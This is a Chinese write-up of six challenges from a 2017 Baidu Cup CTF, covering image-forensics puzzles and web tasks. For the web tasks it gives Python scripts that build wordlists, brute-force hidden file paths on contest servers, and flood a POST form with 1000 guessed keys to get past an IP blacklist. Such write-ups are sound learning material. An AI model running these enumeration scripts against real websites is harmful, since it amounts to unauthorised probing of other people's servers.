2017 百度杯丶春秋欢乐赛 writeup

1. 内涵图(Misc)

题目:
我不是一个简单的图片
我是一个有内涵的图片


3.jpg

解:保存到桌面,右键属性->详细信息,即可获得flag.

Paste_Image.png

2. 小电影(Misc)

题目:
我说过
这次比赛是让大家开开心心的度过的
所以
送给你们一个小电影

end.gif
end.gif

解:图片被损坏。
(1)检查文件头,发现没有GIF8,用winhex补上。


Paste_Image.png

(2)重新打开gif,图片已修复。


Paste_Image.png

(3)使用Stegsolve分帧查看,可得flag。


Paste_Image.png
Paste_Image.png

3.水果宴

题目:
你吃了多少水果
访问地址:http://120.132.85.112:20003 (链接为题目自动生成,过期访问无效)

解:查看源代码,可发现如下一段js
放到控制台跑一下,可得flag。

var egg,Banana,Apple,Pear,Grape,watermelon,orange;
egg = 21.07;
chicken = egg*3;
Apple=chicken+egg;
Pear=Apple/chicken+egg;
Grape = Apple-Pear*chicken+egg;
watermelon=Grape+Pear/Apple-chicken*egg;
orange=watermelon*Grape+Pear+Apple*chicken+egg;
Flag = 'Flag{'+String(Math.floor(egg))+'}';

4.象棋

题目:开心的玩游戏吧。
访问链接:http://af8c91d771994c79a169bd8c291637d158331c7bc65248ad.ctf.game (链接为题目自动生成,过期访问无效)

解:点进去是一个象棋游戏,查看源代码,扫一遍发现这个js有问题

查看网页源代码.png

猜测 flag存在于某个js文件中,文件名为"abcmlyx"中取2个字母,"0123456789"中取3个数字,例如 js/abctf123.js。

使用python生成字典
key1 = "abcmlyx"
key2 = "0123456789"
file = open("xiangqi.txt","r+")
sum =0
for i in key1:
  for j in key1:
    for k in key2:
      for m in key2:
        for n in key2:
          url="/js/"+i+j+"ctf"+str(k)+str(m)+str(n)+".js"+"\n"
          file.write(url)
          sum=sum+1
file.close()
print("Number of possibilities: "+str(sum))
print("ok")
字典生成结果.png

调用xiangqi.txt 进行爆破

import requests
import re
import sys
import time
import datetime

starttime = datetime.datetime.now()
file = open("data.txt","r+")
array=[]    
for line in open('xiangqi.txt'):    
  array.extend(line.strip().split('\n'))

for line in array:      
  print(line)       
  url = "http://af8c91d771994c79a169bd8c291637d158331c7bc65248ad.ctf.game/"+line
  try:  
    wp=requests.get(url,timeout=10)
  except requests.exceptions.Timeout:
    print ("Timeout occurred")  
    file.write(line+'\n')
  m =re.search('flag',wp.text)      
  if m :    
    print(line+" is our need!")
    break

endtime=datetime.datetime.now()
file.close()
print("use time: "+endtime-starttime+"\n")
print("ok return")

①对xiangqi.txt中所有数据分行处理读入array数组
②把array数组中每一个数据加到题目链接后
③访问该网页,并将返回内容存到wp中(由于request.get存在超时异常,故在这里进行try except,对个别超时的数据项存到另外的文件中,可以手动进行访问查看)
④使用re.search函数对wp中所有内容搜索"flag"字段
⑤若存在,则爆破结束,若不存在,则继续

爆破时间有点长,可以分成多个文件,同时进行爆破。
爆破结果.png

【更新】孤陋寡闻了。。。爆破可以用国内的御剑,专门的爆破软件会多线程同步进行遍历,速度大大加快。

一分钟爆破出结果.png

勾选的"PHP:49000",是我在配置文件中把原来的PHP.txt的内容换成了前面xiangqi.txt的内容
御剑爆破软件下载链接

5. 时间

题目:时间是宝贵的。
访问链接:http://e242eebffcd24abdb1678c24528258d7715127a9437c4db4.ctf.game/ (链接为题目自动生成,过期访问无效)
解:进入题目链接,可见

题目
  1. 此题关键点:页面刷新显示后,必须在10秒内找到并打开flag所在的文件,否则这个文件会被删除(怪不得"天下武功唯快不破")
  2. 代码分析:作者从flag.php中提取文本内容到$txt变量中,再随机产生一个1-1000的数字进行md5加密作为文件名$filename,最后把$txt的内容放入$filename文件中去。接着睡眠10秒,最终删除该文件。
    另外这道题不需要用到cookie欺骗。

(1)首先生成1~1000的字典

import hashlib
import requests
file = open("data.txt",'w+')
for i in range(1,1001):
  m = hashlib.md5()
  m.update(str(i).encode())
  mid = m.hexdigest()
  url = 'u/'+mid+'.txt'
  file.write(url+'\n')
file.close()

注意这里str(i)要对字符编码规范

(2)放到御剑中爆破


爆破结果

勾选的"PHP:1000",是我在配置文件中把原来的PHP.txt的内容换成了前面data.txt的内容。
御剑爆破软件下载链接

该步骤需要注意的是:
(1)域名的最后要加上'/'
(2)线程项调至60以上(太小会导致扫描太慢以至于错过10秒)
(3)刷新题目链接后,在十秒内完成扫描,并点开flag文件。(若超过十秒 即使已经扫描到了也会访问不到 因为文件已经被删除)

6.攻击

题目:一个ip只有一个机会,哈哈哈。
访问链接:http://0c3aac1c986c47feacdb2c322a123112c0d2364b864a40ad.ctf.game/

snipaste20170127_093813.png

解:
分析所给的PHP代码可知:
(1)若当前IP与$ip变量的内容相同,则提示信息直接退出。
(2)当POST中某id的键值等于'attack'时,打印$flag。这个id为$flag的第五个位置开始,长度为3的一个字符串。
(3)如果不满足(2),则检查POST的变量个数,大于0则把你当前的IP加入到黑名单中(故一个IP只能攻击一次,失败了就要重新创建题目)

此题存疑,留funder大神的writeup作记录

import requests
a = "1234567890"
data = {}
for i in a:
    for j in a:
        for k in a:
            data[i+j+k]="attack"
print(data)        
r=requests.post("http://0c3aac1c986c47feacdb2c322a123112c0d2364b864a40ad.ctf.game/",data=data)
print(r.text)
解题结果.png
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 160,026评论 4 364
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 67,655评论 1 296
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 109,726评论 0 244
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 44,204评论 0 213
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 52,558评论 3 287
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,731评论 1 222
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,944评论 2 314
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,698评论 0 203
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,438评论 1 246
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,633评论 2 247
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 32,125评论 1 260
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,444评论 3 255
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 33,137评论 3 238
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,103评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,888评论 0 197
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,772评论 2 276
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,669评论 2 271

推荐阅读更多精彩内容